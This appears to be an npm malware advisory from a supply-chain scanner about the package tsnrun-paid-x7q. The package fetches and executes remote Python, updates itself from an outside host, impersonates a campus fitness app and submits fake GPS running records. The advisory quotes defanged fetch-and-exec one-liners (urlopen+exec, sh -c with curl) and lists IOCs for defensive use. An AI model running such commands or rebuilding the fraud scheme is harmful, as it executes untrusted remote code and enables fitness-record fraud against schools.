tsnrun-paid-x7q@1.0.5
Malicious code in tsnrun-paid-x7q (npm)
Analysis
tsnrun-paid-x7q is an npm package whose contents are delivered as a one-liner that downloads and immediately executes Python with no integrity verification. README.md instructs `python3 -c "import urllib.request as u;exec(u.urlopen(u.Request('hxxps://cdn[.]jsdelivr[.]net/npm/daily-runner-cli@1/tsnrun_paid[.]py'...)).read())"`, fetching the payload from a *different* package name than the one published. run.sh does the same against `hxxps://cdn[.]jsdelivr[.]net/npm/tsnrun-paid-x7q@1/tsnrun_paid[.]py`, using the mutable 1.x range and installing python via pkg/apt if missing. mint_one.py embeds both the iOS (`urlopen`+`exec`) and Android (`sh -c "$(curl -fsSL hxxps://daily-tools-8f3k[.]pages[.]dev/paid/run[.]sh)"`) variants as text for redistribution to end users. The downloaded script carries a second stage: check_update() runs on every launch, reads hxxps://daily-tools-8f3k[.]pages[.]dev/paid/version[.]txt, and if the version is newer fetches hxxps://daily-tools-8f3k[.]pages[.]dev/paid/tsnrun_paid[.]py, verifies only that the response contains the version marker and `def main(`, then overwrites itself and re-executes via sys.argv. Payload control therefore rests with that pages[.]dev host rather than with the npm release, so a new version cannot be executed without first contacting it. The payload automates a campus fitness-account backend at hxxp://a[.]sxstczx[.]com while masquerading as the official mobile app (hardcoded User-Agent "StudentsMarch/3.6.815 (iPhone; iOS 27.3; Scale/3.00)", MODEL "iPhone 16 Pro Max", APP_VER 3.6.815). It reimplements that app's signing envelope with inline AES-128 and RSA PKCS#1 (APP_ID, APP_SECRET and APP_SIGN_HASH constants embedded), prompts the user for their student ID and password, persists them to tsnrun.conf beside the script, and submits synthetic one-second-interval GPS running tracks to fabricate fitness results. School lookup is performed against hxxps://m[.]boxkj[.]com/app/sch/listSchoolDatas. mint_one.py additionally signs 30-day licence tickets with an RSA key read from license_private.json / the TSN_KEY environment variable and writes the resulting command block to the clipboard via pbcopy or termux-clipboard-set. IOCs: hxxp://a[.]sxstczx[.]com, hxxps://daily-tools-8f3k[.]pages[.]dev/paid/tsnrun_paid[.]py, hxxps://daily-tools-8f3k[.]pages[.]dev/paid/version[.]txt, hxxps://daily-tools-8f3k[.]pages[.]dev/paid/run[.]sh, hxxps://cdn[.]jsdelivr[.]net/npm/tsnrun-paid-x7q@1, hxxps://cdn[.]jsdelivr[.]net/npm/daily-runner-cli@1, hxxps://m[.]boxkj[.]com/app/sch/listSchoolDatas
- analyzed by
- Leitwacht
- first seen
- Nov 20, 2026, 05:51 AM
- analyzed
- Nov 20, 2026, 05:52 AM
Related advisories
- tsnrun-paid-x7q@1.0.2 same package
- tsnrun-paid-x7q@1.0.0 same package
- tsnrun-paid-x7q@1.0.1 same package
- babyyodaa@1.1.0
- agent-bypass@2.29.3
- agent-bypass@2.29.2
- nodetokyo@1.0.10
- git-crt-creator@10.13.0
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.